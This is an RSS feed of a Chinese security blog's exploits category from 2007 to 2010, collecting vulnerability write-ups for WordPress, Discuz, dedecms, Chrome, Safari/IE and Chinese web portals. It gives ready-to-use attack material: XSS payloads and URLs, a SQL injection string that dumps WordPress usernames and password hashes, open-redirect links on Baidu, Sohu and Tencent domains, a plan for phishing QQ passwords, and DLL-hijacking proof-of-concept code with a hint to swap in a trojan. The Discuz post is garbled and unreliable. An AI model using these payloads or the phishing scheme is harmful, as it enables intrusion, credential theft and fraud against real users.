Lin's Space|Only » 漏洞 http://clin003.com If you my only , I will give you my all. Thu, 02 Sep 2010 07:07:24 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 今日杂碎：近来WordPress，DEDECMS，Discuz程序爆出的漏洞 http://clin003.com/exploits/wordpress292-dedecms55-discuz172-exploit-1905/ http://clin003.com/exploits/wordpress292-dedecms55-discuz172-exploit-1905/#comments Fri, 02 Apr 2010 18:10:45 +0000 白菜林 http://clin003.com/?p=1905 Continue reading →]]> 以下罗列的是近两个月内的相关程序漏洞。。

WordPress漏洞，影响版本为2.9.2及以下版本

Published:2010-03-17，WordPress2.9.2跨站漏洞描述：
北洋贱队(http://bbs.seceye.org)2010-03-17首发
wordpress2.9.2在使用管理员模式发表新文章或者回复的地方，插入跨站语句可导致触发跨站脚本攻击。
1.发表新文章在标题处插入如： <iframe src=http://http://clin003.com>即可导致跨站。
另WP2.9.2版本存在爆路径的bug，忘各位使用wp的朋友注意安全。

Published:2010-03-22，WordPress <= 2.9.2绕过口令保护漏洞描述：
每个页面可以设置口令，这些口令可以相同，但通过口令访问的功能设置了全站点都通用的全局Cookie，因此用户只要获得了一个对页面或帖子所设置的口令，就可以看到所有受保护的页面或帖子（在请求时会自动许可访问）。

Discuz! 所有版本永久型跨站漏洞

Discuz! 个人中心里的“个人签名”没有对恶意代码进行检测，在 Discuz! 及 img 代码禁用的情况下仍可写入恶意代码，Discuz! 会保存并执行该代码，形成永久型跨站。

测试代码：</textarea><script>alert(/Liscker/);</script><textarea>

临时解决办法：禁止用户使用个人签名。

dedecms织梦 v5.5 两处跨站漏洞

北洋贱队2010-02-06首发

演示1(代码里的回车自行去掉):http://www.dedecms.com/plus/search.php?keyword=%22%3E%3Ciframe%20src=http://clin003.com%3E&
searchtype=titlekeyword&channeltype=0&orderby=&
kwtype=1&pagesize=10&typeid=0&TotalResult=%3C
iframe%20src=http://clin003.com%3E&PageNo=2

演示2:http://www.dedecms.com/plus/list.php?tid=6&TotalResult=%3Ciframe%20src=http://clin003.com%3E&
nativeplace=0&infotype=0&keyword=&orderby=hot&
PageNo=2

解决办法：官方已有相关补丁文件 http://bbs.dedecms.com/222197.html (貌似并未完整修复)

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/wordpress292-dedecms55-discuz172-exploit-1905/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/wordpress292-dedecms55-discuz172-exploit-1905/feed/ 0 WordPress < 2.8.1 Security Bypass 0day http://clin003.com/exploits/wordpress-2-8-1-security-bypass-0day-1763/ http://clin003.com/exploits/wordpress-2-8-1-security-bypass-0day-1763/#comments Wed, 22 Jul 2009 16:32:30 +0000 白菜林 http://clin003.com/?p=1763 Continue reading →]]> 发布时间:2009-07-22
测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
Wordpress < 2.8.1 All Version suffer from admin module configuration security bypass exploit , attackers use these urls to attack the blog.

http://xxx.com/wp-admin/admin.php?page=/collapsing-archives/options.txt

http://xxx.com/wp-admin/admin.php?page=akismet/readme.txt

http://xxx.com/wp-admin/admin.php?page=related-ways-to-take-action/options.php

http://xxx.com/wp-admin/admin.php?page=wp-security-scan/securityscan.php

It is harmful.Please update your blog as soon as you can.

// sebug.net [2009-07-22]

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/wordpress-2-8-1-security-bypass-0day-1763/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/wordpress-2-8-1-security-bypass-0day-1763/feed/ 0 未定义操作导致谷歌浏览器崩溃，囧 http://clin003.com/exploits/google-chrome-crashes-with-all-tabs-with-an-undefined-handler-followed-by-a-special-character-1464/ http://clin003.com/exploits/google-chrome-crashes-with-all-tabs-with-an-undefined-handler-followed-by-a-special-character-1464/#comments Wed, 03 Sep 2008 09:46:25 +0000 白菜林 http://clin003.com/?p=1464 Continue reading →]]> 哎呀!谷歌浏览器崩溃了，现在重新启动？

影响版本：
Google Chrome Browser 0.2.149.27
谷歌浏览器 0.2.149.27

测试环境：
windows xp sp3
windows 2003 sp1

问题：

An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 0.2.149.27. A crash can result without user interaction. When a user is made to visit a malicious link, which has an undefined handler followed by a ‘special’ character, the chrome crashes with a Google Chrome message window “Whoa! Google Chrome has crashed. Restart now?”. It crashes on “int 3″ at 0x01002FF3 as an exception/trap, followed by “POP EBP” instruction when pointed out by the EIP register at 0x01002FF4.

描述地址：http://evilfingers.com/advisory/google_chrome_poc.php

演示代码：

<html>
<head></head>
<body>
demo <a href=”hello:%”>HERE</a>

<iframe src=”Free Coupwns!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.jar” frameborder=0 width=0 height=0></iframe>
</body>
</html>

关于Google chrome基于WebKit 525.13 (Safari 3.1)导致的Google Chrome vulnerable to carpet-bombing flaw 漏洞演示代码（一并看上边的演示代码），默认设置Google chrome是不提示自动下载回来的，只需要“中级用户选项”修改勾上“下载前询问每个文件的保存位置”，就可以躲过这个漏洞的侵害（PS：这样你就会收到提示保存位置，你就知道有个文件要下载来的，不然你不知不觉Google chrome就帮你下载啦）。

更多提示“哎呀!谷歌浏览器崩溃了，现在重新启动？”

Comments

  • September 3, 2008, 谷歌浏览器Chrome首日安全漏洞 | 我的爬行JI writes: [...] 第一个未定义操作导致谷歌浏览器崩溃，囧，特意构造的链接地址可以对谷歌浏览器进行拒绝服务攻击，后果很严重 ： An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 0.2.149.27. A crash can result without user interaction. When a user is made to visit a malicious link, which has an undefined handler followed by a ’special’ character, the chrome crashes with a Google Chrome message window “Whoa! Google Chrome has crashed. Restart now?”. [...]
  • September 11, 2008, Google悄然升级Chrome 修复安全漏洞 | 我的爬行JI writes: [...] 经测试，在首日以及接着发现的三个漏洞均已得到修复，据悉，Google上周五以0.2.149.29新版本取代0.2.149.27，最初只是提供给部分用户，但Google并没有透露此次更新细节。 [...]

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/google-chrome-crashes-with-all-tabs-with-an-undefined-handler-followed-by-a-special-character-1464/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/google-chrome-crashes-with-all-tabs-with-an-undefined-handler-followed-by-a-special-character-1464/feed/ 2 Safari for windows默认配置+ie浏览器——>木马作者的天堂 http://clin003.com/exploits/it-is-still-heaven-for-spyware-writers-1249/ http://clin003.com/exploits/it-is-still-heaven-for-spyware-writers-1249/#comments Wed, 11 Jun 2008 08:41:32 +0000 白菜林 http://clin003.com/?p=1249 Continue reading →]]> Nitesh Dhanjani 发现的这个（windows版的safari浏览器在不经用户确认的情况下把文件下载到用户桌面）漏洞。标题为”Safari Carpet Bomb”的介绍可以在Nitesh Dhanjani博客看到，接着微软就发出一份（标题为：Blended Threat from Combined Attack Using Apple’s Safari on the Windows Platform）“安全公告”。Aviv Raff在他的博客发表“Safari pwns Internet Explorer”澄清这个（MS）漏洞早在2006年就已经报告过。

关于这个混合Safari和IE漏洞攻击的分析

这个IE老的漏洞Aviv Raff在他的两篇博客中已经做过比较详细的描述”Internet Explorer 7 – Still Spyware Writers Heaven“，和”IE7 DLL-load hijacking Code Execution Exploit PoC” 漏洞演示代码可以在”milw0rm”找到。

这个漏洞主要出在：ie（Windows Internet Explorer）优先从“用户桌面”加载动态链接库文件（dll），而不是从程序目录（一般是：C:\WINDOWS\SYSTEM32）。

windows版的safari浏览器在没有得到确认的情况下自动下载文件到用户桌面是这次引发windows用户遭受攻击的前因。当动态链接库文件（DLL文件）为特定的名称时打开ie将从这里（用户桌面）加载这些动态链接库文件。两件事情混合起来就是：IE加载运行safari自动下载到用户桌面的动态链接库文件，最终导致用户遭受恶意攻击。

作为演示下边为LIUDIEYU写的演示代码（ie加载后调用记事本打开一个不存在的文件）

另外Aviv Raff也写过个演示代码可以在”milw0rm”找到。

（PS：其实你可以写个木马后门dll扔出去让他运行！！）

/*
        Copyright (C) 2006-2007 Aviv Raff

http://aviv.raffon.net

        Greetz: hdm, L.M.H, str0ke, SkyLined

        Compile and upload to the victim's desktop as one of the following hidden DLL files:
        - sqmapi.dll
        - imageres.dll
        - schannel.dll

        Run IE7 and watch the nice calculators pop up.
        Filter fdwReason to execute only once.

        Tested on WinXP SP2 with fully patched IE7.
        For testing/educational purpose only!

*/

#include <windows.h>

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,
  DWORD fdwReason,
  LPVOID lpvReserved
)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TCHAR windir[_MAX_PATH];
    TCHAR cmd[ _MAX_PATH ];
    GetEnvironmentVariable("WINDIR",windir,_MAX_PATH );
    wsprintf(cmd,"%s\\system32\\calc.exe",windir);
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(π,sizeof(pi));
    CreateProcess(NULL,cmd,NULL,NULL,FALSE,0,NULL,NULL,&si,π);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

// milw0rm.com [2006-12-14]

———-dll.c———-
#include <windows.h>

BOOL APIENTRY DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory(π,sizeof(pi));

CreateProcess(NULL,”NOTEPAD \”=====(((((we are in)))))=====\”",NULL,NULL,FALSE,0,NULL,NULL,&si,π);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}

你可以编译这个库文件并命名为”schannel.dll”，“sqmapi.dll”或“imageres.dll”就可以利用啦。

———-index.html———-
<html><head>
<title>Test safari downloads automatically</title>
</head><body>
只要使用Safari打开这个页面，同时schannel.dll将自动下载到用户桌面<br>
<iframe src=”schannel.dll” width=1 height=1></iframe><br>

打开ie，将会看到效果（ie远程调用记事本打开一个不存在的文件）

<i>这就是结果.</i><br>
<br>
这个测试只能使用一次<br>
</body></html>

PS:个人认为这个组合漏洞攻击应该算是小概率事件，比如使用safari的用户很少情况会切换到ie，还有如果恶意攻击者，把文件显眼的下到用户桌面（对于这么明显的可疑文件很容易被删除的，如果隐藏怎么办呢？！）。不论怎样这是个潜在的危险（如果下次不是Safari呢？）。

PS2：这是不是也提醒程序员同学们写代码时要考虑自己的库文件搜索路径问题了，当前目录最多的情况应该是桌面啦，当然这涉及到windows内核（..）的问题（加载动态链接库的时候搜索路径的顺序——当前目录，程序目录，系统目录，谁先谁后？）

相关地址：

http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html

http://www.microsoft.com/technet/security/advisory/953818.mspx

http://liudieyu0.blog124.fc2.com/blog-entry-1.html

http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html

http://aviv.raffon.net/2008/05/31/SafariPwnsInternetExplorer.aspx

http://aviv.raffon.net/2006/12/14/IE7DLLloadHijackingCodeExecutionExploitPoC.aspx

http://aviv.raffon.net/2006/11/01/InternetExplorer7StillSpywareWritersHeaven.aspx

http://milw0rm.org/exploits/2929

演示地址：http://liudieyu.com/iesafari200806.2885391780966027/

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/it-is-still-heaven-for-spyware-writers-1249/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/it-is-still-heaven-for-spyware-writers-1249/feed/ 0 百度搜索联盟广告跨站漏洞 http://clin003.com/exploits/baidu-search-advertising-across-union-station-loopholes-792/ http://clin003.com/exploits/baidu-search-advertising-across-union-station-loopholes-792/#comments Thu, 10 Apr 2008 09:02:26 +0000 白菜林 http://clin003.com/?p=792 cb上的广告链接觉得好奇就移动鼠标看看，然后使用广告地址替换后边的广告网站地址为我的地址照样跳转成功

（ps:目前还没搞清是百度联盟的认证广告还是什么广告，总之不是百度的主题推广广告，偶看到的这个广告是图片形式的）

原始广告地址：http://spcode.baidu.com/spcode/spClick?tn=ugmbbc_sp&ctn=0&styleid=1470&tourl=http://wopti.e78.com/channel.php?c=ugmbbc_spBAIDU_ANDu=1010

修改后可以被利用的地址：http://spcode.baidu.com/spcode/spClick?tourl=http://clin003.com/

这个地址可以根据原始地址改造，我挑选啦不出错的地址（主要看你的地址对这个参数的反应！）

通过搜索引擎得知是百度联盟的广告地址

百度联盟认证地址：http://spcode.baidu.com/

百度联盟地址：http://union.baidu.com/

下边是截图：

baidu-spcode baidu-union-spcode baidu-spcode-ad

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/baidu-search-advertising-across-union-station-loopholes-792/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/baidu-search-advertising-across-union-station-loopholes-792/feed/ 0 腾讯体验中心跨站漏洞及利用想法 http://clin003.com/exploits/tencent-experience-center-loopholes-and-the-use-of-inter-station-idea-503/ http://clin003.com/exploits/tencent-experience-center-loopholes-and-the-use-of-inter-station-idea-503/#comments Sat, 08 Mar 2008 06:21:26 +0000 白菜林 http://clin003.com/exploits/tencent-experience-center-loopholes-and-the-use-of-inter-station-idea-503.shtml Continue reading →]]> 直接进入体验中心的地址是http://exp.qq.com/若体验里边的测试内容，需先登录QQ才可以继续填写体验申请表，在登录的过程发现这个：
http://exp.qq.com/cgi-bin/present/tec_cgi_go_signin?redirect=

http://exp.qq.com/cgi-bin/present/tec_cgi_present_plan_info%3Fplan_id%3D90

地址，很好，后边的应该就是我直接申请体验情况下，而没有让我填写体验表却跳转到登录界面的地址啦，而这个地址会在我登录完QQ后跳转进入。

想想看我直接吧后边的地址换成我的主页地址如：http://exp.qq.com/cgi-bin/present/tec_cgi_go_signin?redirect=

http://clin003.com

这个地址是有效的，即使刷新也同样有效。

如图

腾讯体验中心跨站利用

如果后边我的主页地址更有欺骗性（很像QQ的？或者直接编码）些，我在制作个很像体验中心登录页面的页面？我会提示什么验证码错误之类的错误，然后是不是会有好多人重新登陆QQ号啊，然后他并没有发现这个已经不是开始的哪个页面啦，如果把这个QQ号带密码发回后让他转向到体验中心去填问卷不至于人家产生怀疑

腾讯体验中心跨站利用-欺骗页面


Comments

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/tencent-experience-center-loopholes-and-the-use-of-inter-station-idea-503/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/tencent-experience-center-loopholes-and-the-use-of-inter-station-idea-503/feed/ 1 搜狐营销广告服务跨站漏洞[doc.go.sohu.com*url=] http://clin003.com/exploits/sohu-marketing-advertising-services-doc-go-sohu-com-cross-site-loopholes-452/ http://clin003.com/exploits/sohu-marketing-advertising-services-doc-go-sohu-com-cross-site-loopholes-452/#comments Tue, 19 Feb 2008 09:05:03 +0000 白菜林 http://clin003.com/exploits/sohu-marketing-advertising-services-doc-go-sohu-com-cross-site-loopholes-452.shtml Continue reading →]]> 看看下边这个转向到哪里啦http://doc.go.sohu.com/200712/6e97cd2fea9a0f8ac95439405c4ca95a.php?url=http://clin003.com

以下为查到的包含漏洞的页面（仅仅通过搜索引擎的索引结果）

这些链接在sohu都是在flash文件广告中的，所以baidu是搜不出来的，因为google的蜘蛛已经可以读flash文件中的部分文本啦，使用这个关键字搜索google就可以：site:sohu.com [doc.go.sohu.com*url=]
sohu.com 上约有 15 项符合[doc.go.sohu.com*url=]的查询结果，以下是第 1 - 10 项 （搜索用时 0.24 秒）
显然在club中出现的是已经利用的链接，下面的flash和专题新闻中的才是sohu真正使用的链接形式。

百度中找 doc.go.sohu.com url你将发现已经有很多利用的“恶意链接”啦，百度一下，找到相关网页约905篇，用时0.001秒

google中找[doc.go.sohu.com*url=]，约有1,390项符合[doc.go.sohu.com*url=]的查询结果，以下是第1-10项 ，不过google中部分标有“该网站可能含有恶意软件，有可能会危害您的电脑。”。

漏洞的成因很可能就是设计广告跳转记录代码的工作人员为啦以后方便使用就这样写啦个“通用代码”而没想到被发现会造成多少信任搜狐的网民受伤！！

以下是通过搜索引擎得到的部分可以利用的链接（请学习为目的，不要拿去害人）

http://doc.go.sohu.com/200801/5cb05572fda7c20a914842413d61ae7d.php?url=

http://doc.go.sohu.com/200712/d82c5aba39716d4eb8152d976a2da482.php?url=

http://doc.go.sohu.com/200712/e49df42d95615e85312aa0d030a2e552.php?url=

http://doc.go.sohu.com/200710/91e2420557be06fc6b4db18e6c7e43b8.php?url=

http://doc.go.sohu.com/200709/fd89d3a23c26c83163939a489fac349b.php?url=

http://doc.go.sohu.com/200708/adf56d76ba663e3db61b83e84384a141.php?url=

http://doc.go.sohu.com/200707/9b5c09c5c3cb8d856393a150683a5d92.php?

url=

http://doc.go.sohu.com/200706/fa9cda8c2a8455dc7e69465a16d48565.php?url=

http://doc.go.sohu.com/200706/1a22b9706f5ee9794ee29582de28d8a7.php?url=

http://doc.go.sohu.com/200705/df7fe00bc4bdb3ab1891dd6be56aa73a.php?url=

http://doc.go.sohu.com/200704/92d82b0a5606d9025e44b161597c0180.php?url=

http://doc.go.sohu.com/200704/cb19f7e8aa1d533134eea9c1197c423b.php?url=

http://doc.go.sohu.com/200703/e463ac8934207e079c5500ebddf964e1.php?url=

http://doc.go.sohu.com/200702/4788bbdf19b48e08a119cea260a63aaf.php?url=

Comments

  • February 19, 2008, wiki writes: http://clin003.com/exploits/sohu-marketing-advertising-services-doc-go-sohu-com-cross-site-loopholes-452.shtml 搜狐营销广告服务跨站漏洞[doc.go.sohu.com*url=]就是看到别人给你发doc.go.sohu.com样的网址都不要点

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/sohu-marketing-advertising-services-doc-go-sohu-com-cross-site-loopholes-452/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/sohu-marketing-advertising-services-doc-go-sohu-com-cross-site-loopholes-452/feed/ 1 WordPress Photo album Remote SQL Injection Vulnerability http://clin003.com/exploits/wordpress-photo-album-remote-sql-injection-vulnerability-451/ http://clin003.com/exploits/wordpress-photo-album-remote-sql-injection-vulnerability-451/#comments Mon, 18 Feb 2008 15:39:51 +0000 白菜林 http://clin003.com/wp-use/wordpress-photo-album-remote-sql-injection-vulnerability-451.shtml Continue reading →]]> EXAMPLE
http://xxxxxxxx/?page_id=13&album= [exploit]
EXPLOİT
S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201
# WordPress album PHOTO SQL Injection# AUTHOR : S@BUN## HOME 1 : http://www.milw0rm.com/author/1334#
建议修改admin用户权限并建立一个不用于发文章的管理员用户或者直接进数据库修改admin为其他名字

Comments

  • February 18, 2008, wiki writes: This plugin is designed to easily manage and display yourphoto albums within yourWordPress site.Plugin Admin FeaturesYou can find the plugin admin section under Manage then submenu Photos.Manage and create albumsMove photos to and from albumsUpload and delete photos

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/wordpress-photo-album-remote-sql-injection-vulnerability-451/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/wordpress-photo-album-remote-sql-injection-vulnerability-451/feed/ 1 Firefox 2.0.0.12暴目录穿越（directory traversal）漏洞 http://clin003.com/exploits/firefox-20012-directory-traversal-420/ http://clin003.com/exploits/firefox-20012-directory-traversal-420/#comments Mon, 11 Feb 2008 14:52:53 +0000 白菜林 http://clin003.com/exploits/firefox-20012%e6%9a%b4%e7%9b%ae%e5%bd%95%e7%a9%bf%e8%b6%8a%ef%bc%88directory-traversal%ef%bc%89%e6%bc%8f%e6%b4%9e-420.shtml Firefox 2.0.0.12默认设置存在严重漏洞，预计2.0.0.13将会很快推出。是目录穿越（directory traversal）漏洞，攻击者可以使用view-source机制查看所有Firefox的参数设置，或是Firefox安装目录下的所有文件，不需要任何强制设置或插件帮助。比如“resource:///”默认会直接定位到“file:///C:/Program Files/Mozilla Firefox/”。

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/firefox-20012-directory-traversal-420/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/firefox-20012-directory-traversal-420/feed/ 0 恶搞feedsky域名绑定（feedsky的一个小bug） http://clin003.com/exploits/practical-jokes-feedsky-binding-domain-feedsky-a-small-bug-395/ http://clin003.com/exploits/practical-jokes-feedsky-binding-domain-feedsky-a-small-bug-395/#comments Tue, 29 Jan 2008 07:28:40 +0000 白菜林 http://clin003.com/about/practical-jokes-feedsky-binding-domain-feedsky-a-small-bug-395.shtml Continue reading →]]> feedsky的域名绑定貌似更换好几天啦，这次去更改下域名解析，发现feedsky的一小bug

看图：

feedsky域名绑定没有过滤域名而是只检查啦域名解析的真实性

feedsky绑定的结果：

来看看feedsky绑定的结果

可喜的是并没有对其他用户造成什么影响，呵呵:)

我现在还改回来，以免以后还要去改！！，也欢迎来订阅我的Rss

Comments

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/practical-jokes-feedsky-binding-domain-feedsky-a-small-bug-395/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/practical-jokes-feedsky-binding-domain-feedsky-a-small-bug-395/feed/ 2 很显然pplive的广告业务中有跨站漏洞（迅雷：cknum.xunlei.com） http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/ http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/#comments Fri, 04 Jan 2008 01:17:33 +0000 白菜林 http://wz.mygogou.com/exploits/pplive-ad-host-cknum-xunlei-com-298.shtml 域名劫持Copyright © 2007-2010 This feed is building by Lin's Space|Only .本文地址：http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/ 雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://cknum.xunlei.com/fcg-bin/cgi_banner_stat.fcg?url=http://wz.mygogou.com/直接打开这个链接就会转到本博客。

这个（cknum.xunlei.com）是pplive的一个广告服务器(频道)。

还不清楚pplive和迅雷是不是只是广告上的合作。

pplive的广告服务器地址有：

cknum.xunlei.com

cop.my.xunlei.com
biz5.sandai.net
pt.cga.com.cn
pp.pplive.com

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/feed/ 0 E2手机病毒? http://clin003.com/exploits/e2-phone-menu-215/ http://clin003.com/exploits/e2-phone-menu-215/#comments Sun, 16 Dec 2007 08:45:43 +0000 白菜林 http://wz.mygogou.com/exploits/e2-phone-menu-215.shtml 漫不经心的打开主菜单，天!竞只剩固定拨号，神州行，，几个图标!我的第一感觉就是中病毒啦?不太可能吧!一个小小的e2?难到是昨晚电用完时的非法关机。试着关机开机几遍都没作用。奇怪啦，快捷键都能用(可以重新设置，只能看见应用程序，看不见系统设置类的菜单!)，就是从主菜单没法找到!，最后终于在侧面语音功能中找到”复位”菜单，只有删除全部的复位功能把主菜单找回来啦，感谢ing，不过代价是短信，通信录等手机上存的资料统统丢失，内存卡上的软件要重新下过用设置依然。
明白啦e2安全密码是在手机复位时用到和锁定密码不同!

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/e2-phone-menu-215/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/e2-phone-menu-215/feed/ 0 什么是随机数漏洞,什么是脆弱的随机数 http://clin003.com/exploits/what-is-a-random-number-vulnerability-203/ http://clin003.com/exploits/what-is-a-random-number-vulnerability-203/#comments Wed, 28 Nov 2007 08:23:36 +0000 白菜林 http://wz.mygogou.com/exploits/what-is-a-random-number-vulnerability-203.shtml Continue reading →]]> 电脑在没有用户参与的情况不能产生真正的随机数。

脆弱的随机数（随机数漏洞）只有在程序使用普通的方式产生随机数出现，主要有以下两种情况产生：
1，本来就不是随机数
2，这个产生的随机数是可以预测的，或可以通过某种途径预测到的

如果创造良好的随机数，电脑必须有达到两个条件：
1，一个良好的随机数生成算法
2，随机数生成算法有一个随机的和不可预测随机数种子

脆弱性随机数的例子

代码片断：

srand (time (0));
x=rand();

这个代码产生脆弱的随机号码，它使用的值为1作为默认种子。
其他任何人在相同的机器上用同样编译这段代码，将得到同样的随机数

随机数漏洞：
随机数生成器本地栈溢出

受影响系统：
Linux kernel < 2.6.22

不受影响系统：
Linux kernel 2.6.22

描述：
Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux kernel的随机数生成器（RNG）实现中存在栈溢出漏洞，本地攻击者可能利用此漏洞提升自己的权限。

如果本地root用户将默认的wakeup阀值设置为比输出池大小还要大的值的话，池传输函数就可能用RNG字节写入栈，触发栈溢出，导致拒绝服务或权限提升。

厂商补丁：
Linux
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.22.3.tar.bz2

参考以下英文片段
——————————

What is a random number vulnerability?

Computers are deterministic and are therefore predictable. Computers cannot, in and of themselves, generate truly random numbers.

In the absense of outside input, computers can only create pseudo-random numbers.

A random number vulnerability occurs when a program uses a method of generating random numbers which is either:

  1. Not random
  2. Predictable

To generate good random numbers, the computer must have two things:

  1. A good random number generation algorithm
  2. A random and unpredicatable seed for the random number generation algorithm

Random Number Vulnerability Examples

Consider the following code snippet:

x=rand();

This code generated bad random numbers because when you call rand() before a seed has been established with srand(), it uses the value 1 as a default seed. Anyone else on the same machine with the same compiler who calls rand() with a seed of 1 will get the same random number as you just did.

Let’s look at another code snippet:

srand (time (0));
x=rand();

This code does call srand() with the current time as a seed. However, this code is still insecure because:

  1. The system time is a very bad seed, because it is predictable within a small range.
  2. The ANSI C rand() function itself does not generate good random numbers.

Let’s examine a third code snippet:

srandom (time (0));
x=random();

This code uses the BSD random() and srandom() functions, which generate much better random numbers than their ANSI C predecessors. However, this code still uses time() to generate the seed number. A much better source for random numbers on BSD and Linux systems is the /dev/random device.

Number Seeds and Random Number Vulnerabilities

Good seed numbers come from unpredictable events such as user keystrokes or mouse movements. These are not perfect sources of randomness, however. Human behavior is somewhat predictable and computer hardware can buffer keyboard and mouse interrupts, reducing their randomness.

Numerous other random number generators are available for various platforms and development environments. It is extremely difficult to create a good one, and even more difficult to determine if the random number generator you created really is generating random and unpredictable numbers. The best path for most applications is to implement an existing random number generator which has been subject to public cryptanalysis.

Random number vulnerabilities are of interest to hackers when they can be utilized to determine input values to cryptographic functions. This can be utilized in cryptanalysis.

Improper use of the function calls rand() and random() are the normal causes of random number vulnerabilities.

Additional Information Sources on Generating Random Numbers

For more information on generating random numbers, read RFC 1750 – Randomness Recommendations for Security.

百科地址：http://wiki.mygogou.com/doc-view-771.html

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/what-is-a-random-number-vulnerability-203/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/what-is-a-random-number-vulnerability-203/feed/ 0 Discuz 6.0.0 0Day漏洞 http://clin003.com/exploits/discuz-600-0day-2-198/ http://clin003.com/exploits/discuz-600-0day-2-198/#comments Sat, 24 Nov 2007 08:54:57 +0000 白菜林 http://wz.mygogou.com/exploits/discuz-600-0day-2-198.shtml Continue reading →]]> Discuz 6.0.0允许程序在 register_globals = off 的环境下工作

以下是代码片段：$onoff = (function_exists(‘ini_get’)) ? ini_get(‘register_globals’) : get_cfg_var(‘register_globals’);

if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}

$self = $_SERVER['PHP_SELF'];
$dis_func = get_cfg_var(“disable_functions”);

/*===================== 身份验证 =====================*/
if($admin['check'] == “1″) {
if ($_GET['action'] == “logout”) {
setcookie (“adminpass”, “”);
echo “”;
echo “注销成功……三秒后自动退出或单击这里退出程序界面 >>>

“;
exit;
}

if ($_POST['do'] == ‘login’) {
$thepass=trim($_POST['adminpass']);
if ($admin['pass'] == $thepass) {
setcookie (“adminpass”,$thepass,time()+(1*24*3600));
echo “”;
echo “登陆成功……三秒后自动跳转或单击这里进入程序界面 >>>

“;
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== 验证结束 =====================*/

// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}

———————————————————————————————————————

http://www.discuz.net/admin/logging.php?action=login

可以跳到其它目录
注册登录后利用

http://www.discuz.net/search.php?user%id=100

可以进行injection……

只能手工注射

注意:showpath里必须包含用户自己的路径
如果限制的话，还可以向上跳,向上级传文件的时候，不能直接
http://www. http://www.discuz.net/user/up/_id=../../……/(注射语句)
就包含用户路径

